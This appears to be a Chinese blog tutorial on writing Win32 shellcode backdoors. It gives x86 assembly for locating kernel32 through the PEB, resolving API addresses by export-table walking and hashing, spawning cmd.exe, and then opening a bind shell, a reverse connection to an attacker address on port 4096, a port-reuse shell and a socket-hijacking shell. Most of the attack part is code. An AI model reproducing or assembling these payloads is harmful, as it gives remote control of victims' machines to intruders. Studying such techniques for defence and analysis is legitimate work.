shellcode

 

寻找溢出点( IDA 来反汇编)

编写(shellcode)

 DEP 保护功能 :解决可读写问题
 
 
1. 通过PEB法实现Kernel32.dll基地址的查找;
2. 通过PE文件格式实现对GetProcAddress()函数地址的查找;
3. 通过Hash法实现对其它API函数地址的查找;
4. 通过CreateProcess()开Cmd Shell;


(1) FS寄存器?TEB结构;
(2) TEB+0x30?PEB结构;
(3) PEB+0x0c?PEB_LDR_DATA;
(4) PEB_LDR_DATA+0x1c?Ntdll.dll;
(5) Ntdll.dll+0x08?Kernel32.dll。
这样,实现代码就很容易了,如下:
mov eax,fs:[30h]
mov eax,[eax+0ch]
mov esi,[eax+1ch]
lodsd
mov ebx,[eax+08h]
================
二.通过PE文件格式实现对GetProcAddress()函数地址的查找
Kernel32.dll地址的定位问题解决了,那么就要顺藤摸瓜,通过该地址来找函数GetProcAddress()的地址,因为该函数是找到其它实现ShellCode功能所需函数的切入点哦。我们从下面的流程图看出整个查找过程。
流程也很清晰,我们按部就班分析一下:
(1) kernel32.dll + 0x3c ? PE头;
(2) kernel32.dll + 0x3c + 0x78 ? 数据目录表(DataDirectory)结构,而它的第一个成员就是引出表(Export Table);
(3) Export + 0x1c ? 函数地址数组AddressFunctions;
Export + 0x20 ? 函数名称数组AddressNames;
Export + 0x24 ? 函数名称序号数组AddressOfNameOrdinals;
(4) 由AddressNames ? 确定 GetProcAddress 对于的 index;
(5) 由AddressOfNameOrdinals[index] ? AddressOfFunctions[index];
(6) 由AddressOfFunctions[index] ? GetProcAddress地址。

上面的流程都用的是相对偏移地址,我们在真正计算函数地址的时候要加上Kernel32.dll的基地址来得到我们的绝对地址。实现代码段如下(其中ebx为Kernel32.dll的基地址):
mov esi,dword ptr [ebx+3Ch] // PE头 偏移
add esi,ebx //加kernel32基址换成绝对地址,以下同
mov esi,dword ptr [esi+78h] // 数据目录表偏移
add esi,ebx
mov edi,dword ptr [esi+20h] // 函数名称数组偏移
add edi,ebx
mov ecx,dword ptr [esi+14h] // 函数地址数组的元素个数
push esi
xor eax,eax
mov edx,dword ptr [esi+24h] //函数名称序号表数组偏移
add edx,ebx
shl eax,1       //count * 2
add eax,edx // count + 函数名序号表偏移
xor ecx,ecx
mov cx,word ptr [eax]
mov eax,dword ptr [esi+1Ch] // 函数地址数组偏移
add eax,ebx
shl ecx,2 //count * 4
add eax,ecx // count + 引出表基址
mov edx,dword ptr [eax]  // 利用序号值,得到函数地址偏移
add edx,ebx // GetProcAddress()地址
大家归纳一下,可以得到以下计算公式:
ProcAddr = (((counter * 2) + Ordinal) * 4) + AddrTable + Kernel32Base

3.通过Hash法实现对其它API函数地址的查找
GetProcAddress()函数地址找到了,接下来就找其它函数的地址。ShellCode发展的最初是通过函数名来一个一个查找,但通过API函 数名查找函数地址要求大量的空间来存储ASCII字符串。这对ShellCode大小有严格要求的情况来说是极不合适的,于是我们采用The Last Stage of Delerium提出的一种HASH法,即通过某种转换来得到HASH值。这样每个函数名都可以优化成仅32位的HASH值,大大减小了 ShellCode的长度。The Last Stage of Delerium所使用的Hash方法是把函数名的每个字符循环左移5位(或右移27位)并相加得到HASH值,我们可以写一个函数来获得解析函数名的 HASH值:
DWORD GetHash( unsigned char *c )
{
DWORD h = 0;
while ( *c )
{
h = ( ( h << 5 ) | ( h >> 27 ) ) + *c++;
}
return( h );
}
计算得到LoadLibraryA()的HASH值为331ADDDC,CreateProcessA()的HASH值为B87742CB。在实际应用 中,该Hash方法得到的HASH值是很可靠的,即基本上不会出现两个不同函数得到同一个HASH值的情况。而在http: //www.metasploit.com上,采用的则是循环右移13位(或左移19位),这个也是目前比较常用的HASH方法,下面就是我们按照 metasploit的HASH算法给出的实现代码:
compute_hash:
xor eax, eax // eax清零
cdq // edx清零
cld // 清除方向标志位
compute_hash_again:
lodsb // 从esi装载下一个字节到al
test al, al // al 为零 ?
jz compute_hash_finished // al 为零,表示遇到‘\0’
ror edx, 0xd //循环右移13位
add edx, eax // 计算下一个新字节
jmp compute_hash_again // 继续HASH
compute_hash_finished:
这样,我们就可以得到所有ShellCode使用函数的地址了。

4.通过CreateProcess()开Cmd Shell
一般来说,ShellCode的功能就是开一个Shell(ShellCode的名字也是这样演化来的), 然后通过该Shell,被攻击主机和攻击主机就可以互相通信了。其实这里的工作就是相当于写一个简单的后门程序,不同的只是我们用ShellCode来实 现。通信的部分留到后面,我们先来开一个Shell。
如果你写过后门程序,应该很清楚,我们要在被攻击主机上开Shell就是利用了CreateProcess()这个API函数。它的原形如下:
BOOL CreateProcess(
LPCWSTR pszImageName,
LPCWSTR pszCmdLine, //命令行参数
LPSECURITY_ATTRIBUTES psaProcess,
LPSECURITY_ATTRIBUTES psaThread,
BOOL fInheritHandles, //是否继承句柄
DWORD fdwCreate,
LPVOID pvEnvironment,
LPWSTR pszCurDir,
LPSTARTUPINFOW psiStartInfo, //启动信息
LPPROCESS_INFORMATION pProcInfo //进程信息
);
虽然参数暴多,但是我们只需要关注有注释的那几个,其它的一概用NULL或0来填充即可。因为后门程序的编写黑防几乎每期必有,我就不多说了,只是简单列出要点:
(1) 设置STARTUPINFO结构;
(2) 重定向标准StdInput,StdOutput,StdError;
(3) 调用CreateProcess()启动cmd.exe。
相应的实现功能代码段如下:
mov byte ptr [ebp],44h //STARTUPINFO 大小
mov dword ptr [ebp+3Ch],ebx //StdOutput 句柄
mov dword ptr [ebp+38h],ebx //StdInput 句柄
mov dword ptr [ebp+40h],ebx //StdError 句柄
mov word ptr [ebp+2Ch],0101h //STARTF_USESTDHANDLES|STARTF_USESHOWWINDOWS
lea eax,[ebp+44h]
push eax // &ProcessInfo
push ebp // &StartupInfo
push ecx // 0
push ecx // 0
push ecx // 0
inc ecx // ecx = 1
push ecx // 1
dec ecx // ecx = 0
push ecx // 0
push ecx // 0
push esi // “Cmd.exe”
push ecx // 0
call dword ptr [edi-28] // CreateProcess(NULL, “Cmd.exe”, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo)

小提示:注意上面的函数压栈顺序,遵从C风格函数调用,即参数从右往左依次压栈。

到这我们暂时松一口气了,至少通过上面的知识,我们可以在本机上通过编写ShellCode来实现开一个Cmd窗口。如果你用的是VC,会惊喜地发 现你根本不需要#include <windows.h>这样来声明语句来包含头文件了。但战斗才刚刚开始,因为我们要的是远程主机的Shell,所以我们还要解决攻击机和被 攻击机之间的通信问题

 

 

通过上一篇的学习,我们已经可以编写Win32 ShellCode得到一个Shell了,但是要记得,我们是在远程开的这个Shell的,目的是通过它来实现被攻击者与攻击者之间交互式的通信,就是 说,借助它来建立一个通道,该通道能够发送我们(攻击者)发送的命令,并接收被攻击者返回的输出,或者实现我们要求的某些其他功能。

本文将跟着上一篇的脚步,带给大家下面四种的ShellCode技术实现我们和被攻击主机的通信:
- 端口绑定
- 反向连接
- 静态端口复用
- 查找socket
准备好了吗?那就开始吧!
端口绑定
如果读者编写过最基本的后门程序,就很容易理解了,因为端口绑定就是指,在让被攻击者主机作为一个服务器,创建一个套接字,绑定到指定端口,然后监听,如 果监听到有连接请求,开一个Shell。如下图一(呜呜,画图好辛苦啊,如果画一个图和写100个exp之间选择,我宁愿选择后者~汗…值得一题的是,强 烈推荐大家以后用MS Visio这个强大的工具来画模拟图哦,简单易用量又足…hoho).
WSAStartup()  bind()  listen()  accept() Shell()
CreateProcess(“cmd.exe”)我们在上一篇文章里讲了,这里就不重复了。而WSAStartup(), bind(), listen(), accepte()都是Winsock API函数,与LoadLibraryA()和GetProcAddress()包含在Kernel32.dll中不同,他们都包含在 Ws2_32.dll中,大家还记得在上一篇中,我们能找到Kernel32.dll里任何函数的地址,那么就是说我们可以得到LoadLibrary ()的地址,那么也就是说,通过LoadLibrary(“Ws2_32.dll”)我们也可以得到Ws2_32.dll的基地址,那么再由 GetProcAddress()得到就可以得到WSAStartup(),bind()等Winscok API地址咯。(汗~~…那么那么那么…头都大了)。如果对Winsock API不熟悉的读者,那就要查查MSDN咯,我们这里只讲框架和原理,细节的东西大家就要自己动手了哦。下面给出实现的关键代码段:
mov ebx,eax // eax 是socket()返回的套接字描述符
mov word ptr [ebp],2 //type: AF_INET = 2
mov word ptr [ebp+2],1000h //port = 4096
mov dword ptr [ebp+4], 0 //INADDR_ANY = 0,本主机任意IP
push 10h // length = sizeof(sockaddr) = 16
push ebp //struct sockaddr*: &server
push ebx // s: sock
call dwordptr [edi-12] //bind(sock, (struct sockaddr*)&server, sizeof(server))
inc eax // eax = 1
push eax // backlog = 1
push ebx // s: sock
call dword ptr [edi-8] //listen(sock, backlog),成功返回eax = 0
push eax // 0 接受所有连接
push eax // 0 接受所有连接
push ebx // s: scok
call dword ptr [edi-4] //accept(sock, 0, 0)
(注:注意上面的函数压栈顺序,遵从C风格函数调用,即参数从右往左依次压栈)
右边的注释我基本按照MSDN的参数一个一个进行了说明,应该非常清楚,只要会一点网络编程,结合左边的汇编,是不是发现编写端口绑定的ShellCode很简单呢。

反向连接
现在人们网络安全意识都逐渐的在提高,无论是从事网络安全的工作者还是刚刚才学会用QQ聊天的MM,相信在安装完操作系统后的第一件事就是安装软件防火 墙。那么对于上面的端口绑定的ShellCode,即使我们在被攻击主机开了Shell监听,可是我们却无法连过去。因为几乎所有的防火墙都过滤了内入 (inbound)非法端口的连接。这时候,我们就可以试着使用反向(reverse)连接的方法了,也就是我们常说的反连后门。当然,这种方法可行的前 提是假设被攻击主机的防火墙没有过滤普通程序的外发(outbound)数据。
流程比端口绑定还简单:
WSAStartup()  WSASocket()  connect()  Shell()
这里除了改用connect()外,其他和端口绑定的实现是基本一样的。下面同样给出关键的代码段:
push eax   // dwFlag = 0
push eax // g = 0
push eax // lpProtocolInfo = NULL
push eax // protocol = 0
inc eax // eax = 1
push eax // type: SOCK_STREAM = 1
inc eax // eax = 2
push eax // af: AF_INET = 2
call dword ptr [edi-8] // sock = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);
mov ebx,eax // ebx = sock
mov word ptr [ebp],2
mov word ptr [ebp+2],1000h //port = 4096
mov dword ptr [ebp+4], 0101a8c0h //IP: 192.168.1.1
push 10h // length = sizeof(sockaddr) = 16
push ebp // struct sockaddr*
push ebx // sock
call dword ptr [edi-4] ;connect
同样,注释已经一目了然,是不是发现比端口绑定其实差不多呢。

静态端口复用
反向连接看起来好像很不错,但是,要知道,我们是假设被攻击主机的防火墙没有订制外发数据规则的,现在的防火墙超级BT,只要不是系统服务的应用程序访问 外网,都会弹出警告窗口,阻止外发的连接。除此之外,还有一个问题,如果作为攻击者的你的主机IP是内网的私有地址,被攻击者又如何能找到你的地址和你建 立通信连接呢。
这就引出了端口复用技术。什么是端口复用呢? 就是通过一些已经在使用的端口来绑定我们的shell,比如FTP服务器通常打开默认的21端口,HTTP服务器打开默认的80端口,一般这样的话,那些 端口都是防火墙允许的端口,不会被查杀.静态复用端口就是说,我们事先知道被攻击主机已经开了什么端口,而且该端口可被重用,那么我们就可以通过 ShellCode复用该端口来实现开Shell了。
该方法流程和端口绑定差不多,但是中间多加了一个步骤,如下:
WSAStartup()  setsockopt()  bind()  listen()  accept()  Shell()
看到了吗?多加了一个setsockopt(),顾名思义,set socket option,就是设置套接字选项的意思, 我们来看看MSDN上对它的描述吧:
int setsockopt(
SOCKET s, // 套接字
int level, // 选项级别,这里我们用SOL_SOCKET
int optname, // 套接字选项,这里我们用SO_REUSEADDR,这可是关键哦
const char FAR* optval, // 指向套接字选项的值的指针
int optlen // optval大小
);

OK, 弄清意思之后,大家在结合下面给出关键代码段,就明白了。
mov word ptr [ebp],2
push 4 // sizeof(optval) = sizeof(int) = 4
push ebp // ebp指向套接字选项SO_REUSEADDR值的指针
push 4 // SO_REUSEADDR = 4
push 0ffffh // SOL_SOCKET = 0xffff
push ebx // ebx: sock
call dword ptr [edi-20] //setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (char *)&optval, sizeof(optval))
mov word ptr [ebp+2],1000h // port = 4096,假定端口4096开放
mov dword ptr [ebp+4], 0h // IP = INADDR_ANY
push 10h // sizeof(addr) = 16
push ebp // &addr
push ebx // sock
call dword ptr [edi-12] //bind(sock,(struct sockaddr*)&addr, sizeof(addr))
要注意的是,如果服务器的脆弱性应用程序已经指定套接字为SO_EXCLUSIVEADDR选项,那么绑定就不能成功。

查找SOCKET
查找socket,就是通过搜索和利用一个已经存在的连接,它用一个循环去查找和当前连接的套接字描述符,比较远程主机信息来标识当前的连接,如果发现匹配,就绑定到Shell.
该方法的原理是这样的:
(1) 我们(攻击者)在发送攻击串之前用getsockname函数获得套接字本地信息,把相应信息写入shellcode, 这里我们写入自己的端口号,在下面的代码中就是0x1234。
(2) 服务端(被攻击主机)shellcode从1开始递增查找socket,并且用getpeername函数获得攻击者的套接字信息,我们这里为端口号。
(3) 如果两个端口号比较,相符就认为找到socket,跳出递增循环,并且把shell绑定在这个socket上。
OK,原理说完了,给出关键代码段:
xor ebx,ebx // ebx = 0
find:
inc ebx // 从socket = 1开始往上找,一直找到为止
mov dword ptr [ebp],10h // [ebp] = sizeof(sockaddr) = 16
lea eax,[ebp]
push eax // &namelen
lea eax,[ebp+4]
push eax // &name
push ebx // sock
call dword ptr [edi-4] // getpeername(sock,
(struct sockaddr*)&name, &namelen)
cmp word ptr [ebp+6],1234h // 端口比较,1234是我们(攻击者)端口
jne find // 不匹配,继续查找
found:
push ebx // 找到socket,保存
这种动态查找套接字的方法也有其的局限性,如果被攻击主机在NAT网络环境里,而攻击者getsockname取得的套接字信息和被攻击主机getpeername取得的套接字信息不一定相符,导致查找socket失败。
还要说明的一点是,在Win32下,WSASocket()创建的SOCKET默认是非重叠套接字,可以直接将cmd.exe的stdin、 stdout、stderr转向到套接字上。而socket()函数则隐式指定了重叠标志,它创建的SOCKET是重叠套接字(overlapped socket),不能直接将cmd.exe的stdin、stdout、stderr转向到套接字上,只能用管道(pipe)来与cmd.exe进程传输 数据。而且,winsock推荐使用重叠套接字,所以实际中应该尽可能使用管道。,

Win32 ShellCode的编写技术到这就暂时告一段落了,通过(上)和这篇文章介绍的知识,我们基本上就可以编写出一个属于自己的ShellCode后门了。 但是,要知道,我们只是实现基本的功能而已,如果要编写更加高级的ShellCode,比如实现Http下载文件并执行的技术,比如突破防火墙技术,比如 让自己的ShellCode更加短小而且更加的通用,哎… 路漫漫其修远兮… 向ww8030学习!


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值